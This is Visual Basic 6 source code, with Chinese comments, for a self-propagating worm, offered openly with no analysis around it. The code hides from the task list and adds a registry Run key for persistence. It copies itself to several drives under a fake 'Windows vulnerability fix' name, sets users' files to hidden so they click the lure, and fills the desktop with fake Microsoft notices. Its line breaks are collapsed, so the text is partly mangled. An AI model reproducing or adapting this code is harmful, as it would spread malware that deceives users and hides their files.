Private n盘 Private n路径1$ Private n路径2$
Private Sub Command1_Click() End End Sub
Private Sub Form_Load() App.TaskVisible = False Randomize
If Dir("c:/windows/system/Hii", vbNormal) = "" Then ''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘 If Dir("c:/windows/system/Hii.exe", vbNormal) = "" Then f = App.Path + "/" + App.EXEName + ".exe" d = "C:/WINDOWS/system/Hii.exe" FileCopy f, d End If '''''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''添加到启动注册表 Dim Reg Set Reg = CreateObject("wscript.Shell") Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe" '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''''''''''''判断盘符数量 FileCopy App.Path + "/" + App.EXEName + ".exe", "C:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #1 Write #1, 1 Close #1 FileCopy App.Path + "/" + App.EXEName + ".exe", "D:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #1 Write #1, 2 Close #1 FileCopy App.Path + "/" + App.EXEName + ".exe", "E:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #1 Write #1, 3 Close #1 FileCopy App.Path + "/" + App.EXEName + ".exe", "F:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #2 Write #2, 4 Close #2 FileCopy App.Path + "/" + App.EXEName + ".exe", "G:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #3 Write #3, 5 Close #3 FileCopy App.Path + "/" + App.EXEName + ".exe", "H:/Windows漏洞修复.doc" Open "c:/windows/system/Hii" For Output As #4 Write #4, 6 Close #4 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Else '''''''''''''''''''''''''''''''''''''''''添加到启动注册表 Set Reg = CreateObject("wscript.Shell") Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe" '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Open "c:/windows/system/Hii" For Input As #2 Input #2, n盘 If n盘 = 1 Then n路径1$ = "E:/": n路径2$ = "F:/" If n盘 = 2 Then n路径1$ = "F:/": n路径2$ = "G:/" If n盘 = 3 Then n路径1$ = "G:/": n路径2$ = "H:/" If n盘 = 4 Then n路径1$ = "H:/": n路径2$ = "I:/" If n盘 = 5 Then n路径1$ = "I:/": n路径2$ = "J:/" If n盘 = 6 Then n路径1$ = "J:/": n路径2$ = "K:/" Text1.Text = Str(n盘) + "个 " + n路径1$ + n路径2$ Timer传播.Enabled = True Timer发作.Enabled = True End If End Sub
Private Sub Timer传播_Timer()
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在 If Dir(n路径2$, vbDirectory) <> "" Then myfile = Dir(n路径2$, vbNormal) Do While myfile <> "" If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden myfile = Dir Loop If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then f = App.Path + "/" + App.EXEName + ".exe" d = n路径2$ + "Windows漏洞修复.exe" FileCopy f, d Text1.Text = "ok" GoTo 100 End If End If '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在 If Dir(n路径1$, vbDirectory) <> "" Then myfile = Dir(n路径1$, vbNormal) Do While myfile <> "" If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden myfile = Dir Loop If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then f = App.Path + "/" + App.EXEName + ".exe" d = n路径1$ + "Windows漏洞修复.exe" FileCopy f, d Text1.Text = "ok" End If End If '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
100 End Sub
Private Sub Timer发作_Timer() nName$ = Str(Fix(Rnd * 100)) If Dir("C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then Open "C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt" For Output As #3 Write #3, "微软漏洞修复，请稍候..." Close #3 End If End Sub
